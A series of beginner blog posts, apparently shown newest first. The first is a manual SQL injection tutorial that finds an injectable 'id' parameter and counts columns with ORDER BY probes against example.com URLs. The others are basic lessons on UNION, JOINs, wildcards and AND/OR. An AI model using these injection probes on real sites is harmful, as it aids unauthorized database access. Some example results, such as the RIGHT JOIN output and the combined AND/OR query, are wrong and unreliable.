Finding Columns

I have already Discussed how to find the vulnerable parameter for injecting SQL Query.

Note: If some query has worked for fuzzing one website, this doesnt means the same would work for the others.

It all depends on how the filtration process is done.

So this is our next Step towards SQL Injection.

Lets say we have an URL

http://www.example.com/index.php?id=1

And lets assume that appending a single quote broke the normal workflow and gave an Error.

http://www.example.com/index.php?id=1'

And keeping the single quote, when we appended a comment symbol, (--+) it bring back the normal page.

Thus we now have identified the place where we will inject our SQL Queries.

http://www.example.com/index.php?id= 1'  --+

Now the next step after finding the SQL Injection field, we have to get the columns count, i.e the number of columns used.

If we write the query in SQL terms, its:

SELECT * FROM table
WHERE id = '  1   ' ;

After, injecting

SELECT * FROM table
WHERE id = '  1'   --+ ' ;

Lets show here a quick SQL Table and the queries

mysql> use ckorner ;
Database changed
mysql> select database() ;
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

mysql> show tables ;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
| products          |
| users             |
+-------------------+
3 rows in set (0.00 sec)

mysql> select * from products;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    2 | Laptop  | 15000 |
|    3 | iPhone  | 13000 |
|    1 | Printer |  4500 |
+------+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from products order by id ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    2 | Laptop  | 15000 |
|    3 | iPhone  | 13000 |
+------+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from products where id=1 ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 1 ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 2;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql>

So what do we see here, we have a Table named "Products" and in this table we have 3 rows(records) and 3 columns.

Suppose I dint know how many columns I had, and lets say I forgot how to check the columns, I will use the "order by" query to bruteforce and find the columns count. as you see "order by 4" gave an error stating that unknown column.

In the same way we will use this process to find out the columns count by injecting "ORDER BY" Query.

So in our URL:

http://www.example.com/index.php?id= 1' ORDER BY 1 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 2 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 3 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 4 --+ >> Error

So we found that the number of columns count is 3. Why we need to find it out, thats a secret to be revealed in the later posts.

Note: Finding the columns is not click and go task, because in a given website we have no idea, how many columns might be there.

So a quick tip:

http://www.example.com/index.php?id= 1' ORDER BY 50 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 25 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 15 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 10 --+ >> No Error

Means the count is somewhere between 10 and 15

http://www.example.com/index.php?id= 1' ORDER BY 13 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 12 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 11 --+ >> No Error

So I hope you enjoyed it.

Thank You!

SQL UNION

Hello Friends, Welcome, in this post I will explain you about the UNION query.

The UNION Query, doesn't helps to find the column count while performing a Manual Injection.

Once I asked a l33t claimer, why do you use UNION, and the answer was "Simple, to find number of columns" and i was like LOL.

Anyways, lets get into it, UNION query is used to concatenate two tables based on a column.

So lets check out our Tables,

Table: CK_Members

CID     Name         Designation
222     Whiskey       Moderator
444     Onty             Member
111     Gaurav          Admin
333     Kumaar        Admin
555     Rishabh        Admin
666     Rose            Admin
888     White           Member
999     Mikey          Member

Table: ACTIVE

Name                       Status
Whiskey                   Active
Gaurav                      Inactive
Onty                         Inactive
Kumaar                    Active
White                       Active
Mikey                      Active
AkShay                   Active

So we have two tables named, CK_Members, and ACTIVE

Now, a normal UNION will return the distinct records, any duplicate records are eliminated.

Syntax:

SELECT column FROM table_1
UNION
SELECT column FROM table_2

So For our Query,

SELECT Name FROM CK_Members
UNION
SELECT Name FROM ACTIVE

Our result-set will have,

Name
Whiskey
Onty
Gaurav
Kumaar
Rishabh
Rose
White
Mikey
AkShay

So basically, this will concatenate and our result-set will have the matching records appearing once.

Now, another form of UNION query is the UNION ALL, and this gives us a result set, including the duplicate records from both the Table

Syntax:

SELECT column FROM table_1
UNION
SELECT column FROM table_2

Query:

SELECT Name FROM CK_Members
UNION ALL
SELECT Name FROM ACTIVE

Result-set:

Name
Whiskey
Onty
Gaurav
Kumaar
Rishabh
Rose
White
Mikey
Whiskey
Gaurav
Onty   
Kumaar
White
Mikey
AkShay

So I hope This should be clear to my readers the actual function of UNION Query. Thats All For this Post.

Don't Forget to check my next Post. a Like and Share would be appreciated.

Thank You!

SQL FULL JOIN

Hello Friends, welcome to this post where I will discuss about the SQL FULL JOIN. and this is the last one for JOINs in SQL.

So by now we are aware of the SQL INNER JOIN, LEFT JOIN, RIGHT JOIN. Now lets check the FULL JOIN.

Lets look at our Tables,

Table1: Customer

CID     Name         Designation
222     Whiskey       Moderator
444     Onty            Member
111     Gaurav         Admin
333     Kumaar       Admin
555     Rishabh       Admin
666     Rose           Admin
888     White          Member
999     Mikey         Member

Table2: Orders

OID     Product         CID
1           Perfume        666
2           Laptop          444
3           Perfume        999
4           Cell Phone    666


SQL FULL JOIN will return all the records from the left and right tables and the matched case will have all the info.

SYNTAX:

SELECT column_name
FROM table1
FULL JOIN table2
ON table1.column_name=table2.column_name

So for our query:

SELECT Customer.Name, Orders.Product
FROM Customer
FULL JOIN Orders
ON Customer.CID=Orders.CID

Our result-set will have:

Name                Orders
Whiskey      
Onty                  Laptop
Gaurav        
Kumaar      
Rishabh      
Rose                 Perfume
Rose                 Cell Phone
White        
Mikey               Perfume

So I guess nothing more to explain this, as this is very simple, but if you have doubts do not hesitate to drop in a comment.

Thats all for this post, Do Not Forget to check my next post.

Thank You!

SQL RIGHT JOIN

Hello Friends, Welcome to this post, and in this post, I will discuss about the SQL RIGHT JOIN.

SO far we know about the INNER JOIN, LEFT JOIN, so lets get introduced to SQL RIGHT Join.

So we know LEFT JOIN returned the ROWS from the LEFT TABLE ie Table_1, in RIGHT JOIN its just the opposite, it returns the ROWS from the RIGHT TABLE.

Lets have a look at our Table:

Table1: Customer

CID     Name             Designation
222     Whiskey           Moderator
444     Onty                 Member
111     Gaurav             Admin
333     Kumaar            Admin


Table2: Orders

OID      Product         CID
1            Perfume        666
2            Laptop          444
3            Perfume        999
4            Cell Phone    666
5            Toaster         888

Syntax:

SELECT column_name(s)
FROM table_1
RIGHT JOIN table_2
ON table_1.column_name = table_2.column_name
ORDER BY column_name

Again, ORDER BY is optional

So, for our Query:

SELECT Customer.Name, Orders.Product
FROM Customer
RIGHT JOIN Orders
ON Customer.CID = Orders.CID
ORDER BY Customer.Name
Our Result-Set Will Have:

Name            Product
Onty               444
                      666
                      999
                      666
                      888

Yeah Thats what our result set will have, all the records from the 'Orders' Table, and only the Matched Records from the 'Customer' Table.

Thats all for this post, Don't forget to check my next post.

Thank You!

SQL LEFT JOIN

Hello Friends, Welcome To This Post, Where I would Discuss the beauty of SQL LEFT JOIN Query.

As usual I will be explaining it after an example, lets look at out Tables:

Table1: Customer

CID     Name         Designation
222     Whiskey       Moderator
444     Onty            Member
111     Gaurav         Admin
333     Kumaar       Admin
555     Rishabh       Admin
666     Rose           Admin
888     White         Member
999     Mikey        Member


Table2: Orders

OID    Product        CID
1         Perfume        666
2         Laptop         444
3         Perfume        999
4         Cell Phone    666


Syntax:

SELECT column_name(s)
FROM table_1
LEFT JOIN table_2
ON table_1.column_name = table_2.column_name
ORDER BY column_name
Again, ORDER BY is optional

So, for our Query:

SELECT Customer.Name, Orders.Product
FROM Customer
LEFT JOIN Orders
ON Customer.CID = Orders.CID
ORDER BY Customer.Name
Our Result-set will be:

Name        Products
Gaurav
Kumaar
Mikey        Perfume
Onty          Laptop
Rishabh
Rose         Perfume
Rose        Cell Phone
Whiskey
White

So Did You Notice What Happened? INNER JOIN Returns the records of only the matched cases, but LEFT JOIN returns all the records of the LEFT TABLE(Table 1) and Displays the records of matched cases from the RIGHT TABLE(Table 2).

Thats all for this post, Don't forget to check my next post.

Thank You!

SQL INNER JOIN

Hello Friends, welcome again, in this post I will discuss about the SQL INNER JOIN, from the last post we already know the use of JOIN, basically to join two tables in a Database based on Primary Key.

So, lets look at our table and then query for INNER JOIN


Table1: Customer

CID     Name         Designation
222      Whiskey       Moderator
444      Onty             Member
111      Gaurav         Admin
333      Kumaar       Admin
555      Rishabh       Admin
666      Rose           Admin
888      White          Member
999      Mikey         Member


Table2: Orders

OID    Product        CID
1          Perfume        666
2          Laptop         444
3          Perfume        999
4          Cell Phone    666

Syntax:
SELECT column_name(s)
FROM table1
INNER JOIN table2
ON table1.column_name = table2.column_name
ORDER BY column_name

ORDER BY is optional.

Now For our Query:

SELECT Customer.Name, Orders.Product
FROM Customer
INNER JOIN Orders
ON Customer.CID = Orders.CIDORDER BY Customer.Name

Note: Customer.Name and Customer.Designation means, select the Name and Designation Columns from Customer Table, same for the Orders Table.

Our Result set will have:

Name    Products
Mikey     Perfume
Onty       Laptop
Rose       Perfume
Rose      Cell Phone

Explanation: In simple words just think that SQL will start checking the Customer.CID with each records of Orders.CID, in case it finds a match, it would extract it to the result-set, and look for next until no records found. Example: SQL will start with Customer.CID(222) and check each records on the Orders Table in the Orders.CID column, if there are any records that matches the values, it would show in the result set, since we have added an ORDER BY on Customer.Name, it would sort the display on the Customer.Name Column. Once its done with 222, it would move to next, that is 444, and perform the same function.

Its little confusing I know, but hang around here try with own examples, and I am sure you can get around the logic of this.

Hope this was informative, and Don't Forget to check the next Post.

Thank You!

SQL JOIN

Hello Friends Welcome To This where I Will Discuss about the SQL JOIN Query.

Basically JOIN is used to extract data from 2 or More tables in a Database.

Lets Make Two Tables, One Names As "Customer" and the Other as "Orders"

Customer Table

CID    Name         Designation
222    Whiskey       Moderator
444    Onty             Member
111     Gaurav         Admin
333    Kumaar        Admin
555    Rishabh        Admin
666    Rose            Admin
888    White           Member
999    Mikey          Member


Orders Table

OID    Product        CID
1         Perfume       666
2         Laptop         444
3         Perfume       999
4         Cell Phone   666


Okay so assume that these are the Two Tables, now you need to Note Something here, in the First Table the CID(Customer ID) is Unique to each record, there cannot be two records with same CID. Likewise in every table, there exists a column which holds values uniquely to the other columns. Ex: productID, SalesID, id, newsid, etc.

So similarly, the second table "Orders" has OID, which is unique, no two orders can have the same OID.

So, these are kind of keys to join tables and for other purposes, and are known as "Primary Key", So as a Conclusion, every table has got a Primary Key, through which data can be accessed and Tables can joined.

There are 4 ways By which we Join tables:

1. INNER JOIN
2. RIGHT JOIN
3. LEFT JOIN
4. FULL JOIN

Well This is all For now, Hope you liked it, Don't Forget to check my next Post.

Thank You!

SQL Wildcard Characters

Hello Friends, Welcome to this post where I will discuss the Wildcard characters, this obviously helps a lot, in searching records from a Table.

So its very important to know, how to use the Wildcard characters.

Lets look at our Employee Table:

PID    Name        Designation
222     Whiskey       Moderator
444     Onty            Admin
111     Gaurav         Admin
333    Kumaar        Admin
555    Rishabh        Admin
666    Rose            Admin
888    White           Admin
999    Mikey          Admin

Now lets make some quick changes to our table so that we can use our Wildcard characters.

UPDATE Employee
SET Designation="Member"
WHERE Name="Mikey"

UPDATE Employee
SET Designation="Member"
WHERE Name="Onty"

UPDATE Employee
SET Designation="Member"
WHERE Name="White"

So our Table now is:

PID    Name        Designation
222     Whiskey       Moderator
444     Onty             Member
111     Gaurav          Admin
333    Kumaar         Admin
555    Rishabh         Admin
666    Rose             Admin
888    White            Member
999    Mikey           Member


Now lets see the usage of Wildcard Characters:

1.

SELECT * FROM Employee
WHERE Designation LIKE "Mem%"

So this would display, the records, where Designation starts with Mem....

PID    Name        Designation
444    Onty             Member
888    White           Member
999     Mikey          Member

2.

SELECT * FROM Employee
WHERE Designation LIKE "%m%"
So this would display all records, whose Designation has the letter m in the word,

PID    Name        Designation
444    Onty             Member
111     Gaurav         Admin
333    Kumaar        Admin
555    Rishabh        Admin
666    Rose            Admin
888    White           Member
999    Mikey          Member


3.

SELECT * FROM Employee
WHERE Name LIKE "[W,O]%"

This is little different, by [], means I m referring to the first position, and specifying that, names that starts with W and O.

PID    Name        Designation
222     Whiskey       Moderator
888     White           Member
444     Onty            Member

4.

SELECT * FROM Employee
WHERE Name LIKE "[!W,O]%"

This is just the opposite, and by this I meant, show me all the records whose Names doesn't start with W and O. [Note: ! means NOT]

PID    Name        Designation
111     Gaurav         Admin
333    Kumaar        Admin
555    Rishabh        Admin
666    Rose             Admin
999     Mikey          Member

5.

SELECT * FROM Employee
WHERE Name LIKE "_hi%"

This means show me all the records that has the second and third letter as h and i, followed by anything.

PID    Name        Designation
222     Whiskey       Moderator
888     White           Member

Interesting isn't it, Table Records at your Fingers, if you know to play with the Queries.

Well thats what I have for you in this post. Don't Forget to check my next Post.

Thank You!

SQL AND and OR

Hello everyone in this post, I will discussing the SQL AND and OR Operator that are used in conjunction with WHERE clause, to display a result set according to the condition.

Before I start let me explain the AND Operator, the AND Operator makes a value True, when both the inputs are True.

Example: 1 AND 1 = True,

And for the OR, if either of the input value is True, the result set will be True.

Example: 1 OR 0 = True, 1 OR 1 = True, 0 OR 1 = True, 0 OR 0 = False

Now that was just a basic Digital Circuit explanation of AND and OR Operator, its pretty much same in SQL.

Lets say we have a Table named Employee, and we have 3 columns for the table, first column named as FirstName, second column named as LastName, and the Third Column named as Designation.

and assume we have 4 records,

FirstName    LastName    Designation
 Daniel             Golmes       Associate
 Whiskey         Lullaby        Admin
 Beer               Lullaby        Admin
 Onty               Golmes       Admin


So lets assume we have these 4 records, for our table in respective columns.

Now for our SQL Query:

SELECT * FROM Employee
WHERE FirstName = "Whiskey" AND LastName = "Lullaby"

With this query, one record would be dumped, ie:

FirstName LastName Designation
 Whiskey       Lullaby     Admin

Why so? Its very easy to understand, because in the whole table, it found only one record, that satisfied our query.

Next lets see the use of OR Operator:

SELECT * FROM Employee
WHERE FirstName = "Whiskey" OR LastName = "Golmes"

With This Our Result set would be:

FirstName   LastName  Designation
 Whiskey          Lullaby      Admin
 Daniel             Golmes      Associate
 Onty               Golmes      Admin

And I wont explain this, I leave that to you to find it.

And We can even combine both AND and OR Operator:

SELECT * FROM Employee
WHERE LastName="Lullaby" AND FirstName=("Whiskey" OR "Beer")

Result-set:

FirstName    LastName    Designation
 Whiskey         Lullaby        Admin
 Beer               Lullaby        Admin

Thats all friends for this post, hope you enjoyed it, and Don't Forget to check my next Post.

Thank You!

SQL Categories

Welcome to the next Post, lets now speak about the SQL Statement Categories.

SQL statements are categorized into Two Types:
a. DDL (Data Definition Language)
b. DML (Data Manipulation Language)

So, What is DDL?
All the creation and deletion statements of SQL to create Tables and to Delete them are categorized as DDL. DDL also tells us about the key values and specific links between Tables.

Some of the DDL statements can be CREATE DATABASE, ALTER DATABASE, CREATE TABLE, DROP TABLE, ALTER TABLE, etc

And, what is DML?
All the queries and update statements of SQL related to Tables are categorized to be DML.

Some of the DML Statements are, SELECT, DELETE, INSERT, etc

NOTE: I will be using Uppercase for all the SQL Statements, well this doesn't mean SQL statements has to be in Upper Case, Its the standard way of writing SQL Queries and Statements. And this also helps to differentiate the General text from the SQL Statements.

Well thats all for this post, Hope you have enjoyed it. Don't Forget to check my next post.

Thank You!